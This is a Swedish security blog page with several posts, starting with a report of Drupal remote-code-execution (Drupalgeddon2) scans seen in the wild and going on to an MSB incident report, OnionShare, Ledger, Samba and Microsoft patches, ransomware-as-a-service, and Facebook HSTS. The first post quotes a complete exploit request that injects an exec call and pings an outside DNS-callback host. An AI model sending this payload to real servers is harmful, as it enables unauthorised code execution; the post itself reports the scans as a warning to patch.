Drupal RCE nu ute

Den mycket kritiska sårbarhet som jag bloggade tidigare om som åtgärdats i Drupal har nu börjat att utnyttjas på Internet. ISC som först rapporterade om detta såg scanningar där följande mönster dök upp:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: <hostname>
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 162
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=ping <hostname>.mu6fea.ceye.io -c 1

Just denna payload försöker enbart att identifiera sårbara Drupal-installationer genom att köra en enkel ping med argumentet -c 1, dvs count 1. Även om många blockerar utgående trafik så kan DNS släppas ut genom brandväggar. Den subdomän under mu6fea.ceye.io har en wildcard-pekning och kan således unikt identifiera varje DNS-läckage och sårbar installation.

Ser man på whois-data för ceye.io så pekar namnservrarna till:

Name Server: NS1.HACKERNEWS.CC
Name Server: NS2.HACKERNEWS.CC

Vilket är en kinesisk nyhetssajt.

Rekommenderad åtgärd är att uppgradera Drupal till version 7.58 eller 8.5.1

Uppdatering: Denna one-liner kan också användas:

Ny rapport: obligatorisk IT-incidentrapportering till MSB för 2017

Igår så släppte Myndigheten för samhällsskydd och beredskap (MSB) en årsrapport gällande den obligatoriska IT-incidentrapporteringen. Denna rapport gäller för de incidenter som rapporterats under helåret 2017. Den förra rapporten som släpptes för 2016 gällde enbart April-December.

Det första jag kan utläsa från rapporten som är på 22 sidor (finns nedan) är att det finns ett stort mörkertal. Knappt en tredjedel av de som är rapporteringsskyldiga har rapporterat in något till MSB, och detta får till följd att det är svårt att ge en samlad bild de av de allvarliga it-incidenter som drabbar myndigheter.

Snittet gällande antalet rapporter per månad ligger på 23,4 i Sverige och jämför man med Estland så ligger de på 187 st per månad, dock kan det skilja åt vad som måste rapporteras mellan länderna.

Den obligatoriska rapporteringen till MSB kommer även att fortsätta även efter det att NIS-direktivet träder i kraft. Vilket gör att vissa myndigheter måste rapportera dubbelt.

Tittar vi på statistiken så har 79 st myndigheter lämnat in rapporter och den siffran var förra året på 77 st. Och MSB själva har några troliga förklaringar till varför siffran gällande rapporter är så pass låg:

  • Upphandlad extern IT-drift innan ikraftträdandet av rapporteringen. Denna är undantagen
  • Myndigheter som sätter en hög tröskel gällande vad som är en allvarlig it-incident

Och antalet incidenter inom varje incidenttyp ser ut enligt följande:

Några intressant iakttagelser från rapporteringen är följande:

  • Två incidenter som rapporterats handlar om att en angripare kommit över personuppgifter
  • Kryptotrojaner rapporterades enbart in under årets två första månader (2017)
  • 11 st försök till VD/GD-bedrägerier
  • 17 st incidenter kopplade till överbelastningsattacker
  • Det är svårt att säkerställa ett metodiskt informationssäkerhetsarbete hos externa leverantörer. MSB bedömer dock:

De incidenter som beror på dåligt upphandlade leverantörer antas minskas då Säkerhetspolisens och Försvarsmaktens mandat att ingripa vid upphandlingar som rör skyddsvärda verksamheter stärks den 1 april 2018.

  • Det finns ett behov att höja kompetensnivån avseende information- och cybersäkerhet för flera yrkeskategorier
  • Behov av ett systematiskt arbete med informations- och cybersäkerhet

Största delen av de 281 inrapporterade incidenterna har 149 (53 %) lett till hindrad tillgång till information. Och att det är så beror på att de uppmärksammas och noteras, och rapporteras därmed, i högre grad än incidenter där en antagonistisk aktör medvetet ansträngt sig för att inte lämna spår eller ge sig tillkänna tror MSB.

Här kan du ladda hem årsrapporten för it-incidentrapportering som PDF:

MSB årsrapport för obligatorisk it-incidentrapportering

Här kan du läsa vad jag skrev om den förra årsrapporten gällande obligatorisk IT-incidentrapportering till MSB:

Ett år av obligatorisk it-incidentrapportering

Biljetterna till SecurityFest är nu släppta

Biljetterna till säkerhetskonferensen SecurityFest som går av stapeln i Göteborg är nu släppta. Det datum som gäller är 1:a Juni 2018 samt lokalen som är Eriksbergshallen.

Inga talare är ännu utannonserade men däremot finns det möjlighet att gå två stycken kurser dagen innan konferensen. Kurserna är begränsade till 10 personer och de två kurserna är:

För konferensbiljett och utbildning en dag hamnar priset på 10000kr. Om du enbart vill gå på konferensen så blir priset 3125kr ink moms. Och för studenter så blir konferenspriset 1000kr.

Jag har själv inte varit på SecurityFest men tittar jag på förgående års talare så har det varit en otroligt bra line-up.

Allvarlig sårbarhet i Drupal 7 och 8

Drupals säkerhetsteam har gått ut med en förhandsvarning om en allvarlig sårbarhet i Drupal version 7 samt 8.  Drupal är ett blogg- och innehållshanteringssystem skrivet i PHP under licensen GNU General Public License.

Den 28:de Mars så släpps en säkerhetsuppdatering till Drupal. Stor risk finns att någon analyserar patchen och detta kan i sin tur leda till fjärrexekvering av kod (RCE) inom några timmar eller dygn efter att säkerhetsuppdateringen släpps.

Säkerhetsuppdateringen kommer att släppas 18:00 – 19:30 UTC den 28:de Mars 2018. Se då till att uppdatera omgående om du använder Drupal.

Även om Drupal inte längre stödjer  8.3.x samt 8.4.x-versioner så kommer just denna säkerhetspatch att stödja dessa versioner. Drupals säkerhetsteam meddelar även att ingen databasuppdatering är nödvändig.

Mer information finnes här: https://www.drupal.org/psa-2018-001

Dela filer anonymt med OnionShare

Sedan ett år tillbaka innehåller det anonyma operativsystemet Tails en intressant komponent vid namn OnionShare. OnionShare gör att du på ett enkelt sätt kan dela med dig av filer anonymt (stödjer även stora filer).

Förutom Tails så fungerar OnionShare på Mac, Linux samt Windows. Den version som skickas med Tails 3.6.1 är 0.9.2 och ser ut enligt följande:

Väljer man att ladda hem den senaste versionen till macOS som är 1.3 så är gränssnittet förbättrat med bl.a. nedladdningsräknare samt fler inställningar såsom möjligheten att skapa en ”Stealth Onion Service”, dvs en .onion-domän som inte annonseras ut till katalogtjänsterna i Tor-nätverket. Nackdelen med det är dock att förutom den url du använder för att dela en eller flera filer även måste dela en HidServAuth-sträng som ska in i torrc-konfigfilen.

Skärmdump när jag delar en fil via OnionShare v1.3 på macOS:

Och för den som besöker en URL via Tor Browser som delas ut via OnionShare, så ser det ut enligt följande:

OnionShare är utvecklat i programspråket Python av Micah Lee och återfinnes förutom i Tails på följande sajt:

Bra och tänka på är att när du startar OnionShare så startar även Tor upp i bakgrunden och ansluter till Tor-nätverket (precis som Tor Browser).

Säkerheten

Hur är det med säkerheten då? Jo, först och främst så är det relativt enkelt att göra en fingerprint på den 404-sida som presenteras om man upptäcker en OnionShare-webbserver. Även så sätter servern OnionShare i http-headern.

Men försöker en angripare forcera den sökväg som unikt genereras med två slumpmässiga ord från en ordlista med 7777 st ord så stöter man på problem. För efter 20 försök så stänger nämligen webbservern ner och visar följande meddelande hos den som delar ut filer via OnionShare:

Funktionen build_slug() som slumpar en URL-slug ser ut enligt följande:

Säkerhetsbuggar åtgärdade i Ledger

Ett antal säkerhetsbuggar har blivit åtgärdade i produkter från Ledger som används för kryptovaluta (offline wallet eller hardware wallet). En av buggarna som identifierades av den femtonåriga Saleem Rashid gör att en person som har fysisk tillgång till en enhet kan komma åt den privata nyckeln.

Saleems attack går under namnet MCU-fooling och går ut på att firmware i en av två processorer modifieras, exempelvis av en återförsäljare av enheterna. Ledger meddelar att en uppdatering till version 1.4.1 åtgärdar dessa buggar för Ledger Nano S. Till Ledger Blue finns det ännu ingen uppdatering.

Rasheed said unlike its competitors in the hardware wallet industry, Ledger includes no tamper protection seal or any other device that might warn customers that a Nano S has been physically opened or modified prior to its first use by the customer.

Även två till säkerhetsbuggar har blivit åtgärdade. Läs mer om dessa här:

  • Timothée Isnard – Oracle padding på SCP
  • Sergei Volokitin – Isolation Exploit

Hej! Det vore kul om du ville stödja Kryptera.se via Patreon >

Uppdatering: Det har hänt en hel del runt denna historien. Saleem har skrivit ett eget utmärkt blogginlägg och han har även identifierat en sårbarhet i Trezor Wallet.

Microsoft månatliga patchar för Mars

Microsoft har nu släppt de månatliga säkerhetspatcharna för Mars månad. En av de viktigaste säkerhetsfixarna är en som åtgärdar en RCE (Remote Code Execution) i CredSSP som används för bl.a. RDP (Remote Desktop). Denna sårbarhet har CVE-2018-0886 och som förmildrande faktor så måste angripare utföra MITM (man-i-mitten).

75 sårbarheter åtgärdas totalt varav 14 är kritiska och följande produkter åtgärdar Microsoft brister i:

  • Internet Explorer
  • Microsoft Edge
  • Microsoft Windows
  • Microsoft Office and Microsoft Office Services and Web Apps
  • Microsoft Exchange Server
  • ASP.NET Core
  • .NET Core
  • PowerShell Core
  • ChakraCore
  • Adobe Flash

För den som undrar så är ChakraCore den JavaScript-motor som återfinnes i webbläsaren Edge. Och vad som jag tycker är intressant är att Microsoft patchar en sårbarhet i Adobe Flash.

Uppdatering: Att Adobe Flash uppdateras beror troligtvis på att Flash numera är inbyggt i webbläsaren.

Ny sårbarhet identifierad i Samba

Samba

CVE-2018-1057 är benämningen på en ny sårbarhet som identifierats i den populära mjukvaran Samba. Samba är en mjukvara som används för att öka interoperabiliteten mellan Linux/Unix-system samt Windows.

För att citera Wikipedia:

Samba är fri programvara för Linux/Unix-system som använder SMB/CIFS-protokollet och används för att dela resurser som filer och skrivare i ett Windows-datornätverk(fil/printer-server). Samba ligger under GNU General Public License. Samba kan emulera en Windows NT4-domän och kan fungera som domänkontrollant.

Sårbarheten gäller från och med version 4.0.0 samt gäller om du kör Samba 4 AD DC.

Uppfyller du ovan kriterier så kan vilken autentiserad användare som helst ändra
andra användares lösenord över LDAP, inklusive lösenord för administrativa användare och servicekonton.

För mer information såsom workarounds se wikisidan:

Ransomware as a Service (RaaS)

Att ransomware är ett växande problem och något som drabbar många råder ingen tvekan om. Och nu har även molnifieringen av tjänster nått de som skapar ransomware: Ransomware as a Service (RaaS).

Jag har tittat närmare på en av flertalet RaaS. Priserna för den som vill ha egen ransomware-kod så varierar priserna från 474 kr upp till 5 138 kr och då ingår även command-and-control (C&C) som handhar automatisk upplåsning vid betalning.

Denna RaaS-tjänst som jag tittat närmare på heter RaaSBerry går att nå över Dark Web (Tor) och betalning sker med hjälp av Bitcoin. Du köper då olika typer av paket där det ingår en prenumerationstjänst på C&C. Det framgår också att även om C&C inte skulle fungera eller att du slutar att betala för tjänsten så kan du alltid manuellt dekryptera nycklar till de som blir offer för ditt ransomware.

De olika paketen ser ut enligt följande (BTC = Bitcoin)

Vad som är intressant att läsa ut är att samtliga paket kommer med en unik EXE-fil samt att det inte finns någon mellanhand vad gäller betalningar från offer som går direkt till en Bitcoin-adress. Vissa andra RaaS-tjänster har en modell där RaaS-tjänsten tar procent av intäkterna.

I dessa paket ingår ingen form av exploit-kod som utnyttjar någon sårbarhet utan det är något som den som köper ransomware måste själv utveckla. För att köpa ett paket från RaaSberry måste du först överföra Bitcoin till en unik skapad adress, vilket RaasBerry kallar för wallet.

Tjänsten marknadsför även att en USP (Unique Selling Point) är att inget fristående program behövs för att dekryptera krypterade filer. Detta så länge att dekrypterings-nyckeln finns tillgänglig dvs (du har betalt en lösensumma).

Att köpa skadlig kod har alltid varit möjligt via Tor och andra kanaler och det finns många olika aktörer som försöker tjäna pengar på olika delar av kedjan. Tyvärr är det problematiskt och mycket tråkigt när det blir lättare och lättare för antagonisterna att förstöra för andra med ransomware.

Så undviker du ransomware

Sist men inte minst kommer några tips hur du undviker konsekvenser av ett ransomware eller att drabbas överhuvudtaget:

  • Se till att ha backup och att backupen är frånskild ordinarie vht. Kanske en datadiod? Inkrementell backup samt live-backup om möjligt.
  • Använd en sandlåda för kontroll av skadlig kod samt flertalet antivirus-motorer i perimeterskyddet och för rörligt media
  • Uppdatera och patcha operativsystem samt mjukvaror
  • Se till att ha så få administratörer som möjligt samt se till att användare har så låga behörigheter som möjligt
  • Ta bort standardlösenord och användarnamn
  • Utbilda användare och testa dem då och då med phishing-tester exempelvis

Viktigt att poängtera på ovan punkter är att även öva dessa moment samt kontrollera att verkligen backuperna fungerar, att antivirus-motorerna är uppdaterade samt utför kontroll att samtliga system och mjukvaror uppdateras samt patchas.

Uppdatering: Glömde helt sista punkten gällande tips för att undvika ransomware. Tack Matti Olofsson!

Facebook inför HTTP Strict Transport Security (HSTS)

Facebook meddelade för några dagar sedan via deras sida Protect the Graph att de nu inför HTTP Strict Transport Security (HSTS) med preloading.

❤ Snälla! Ditt stöd är viktigt – Bli månadsgivare via Patreon >

Gör jag en anslutning med hjälp av curl och argumentet -I så bör nuvarande https-headers se ut ungefär enligt följande:

HSTS är en säkerhetshöjande teknik som berättar för webbläsaren att sajten som du går till enbart återfinnes över https samt hur länge (max-age). Och Facebook har satt max-age till 15552000 sekunder vilket är 180 dagar. Och för att citera Mozilla web security guidelines:

max-age must be set to a minimum of six months (15768000), but longer periods such as two years (63072000) are recommended. Note that once this value is set, the site must continue to support HTTPS until the expiry time has been reached.

Preload innebär att domänen listas direkt i webbläsaren och behöver således inte förlita sig på någon kommunikation till sajten först för att läsa ut https-headern, och gör kommunikationen säkrare. För den som vill se hela listan med preloadade-sajter som följer med Google Chrome kan se den här eller här. Vad jag också kan observera är att de ej inkluderar direktivet includeSubdomains vilket kan öppna upp för attacker.

Och tittar vi hur stödet för HSTS ser ut i webbläsare så gäller följande:

Webbläsare Stöd inkluderades från version
Internet Explorer Internet Explorer 11 on Windows 8.1 and Windows 7[2]
Firefox 4
Opera 12
Safari Mavericks (Mac OS X 10.9)
Chrome 4.0.211.0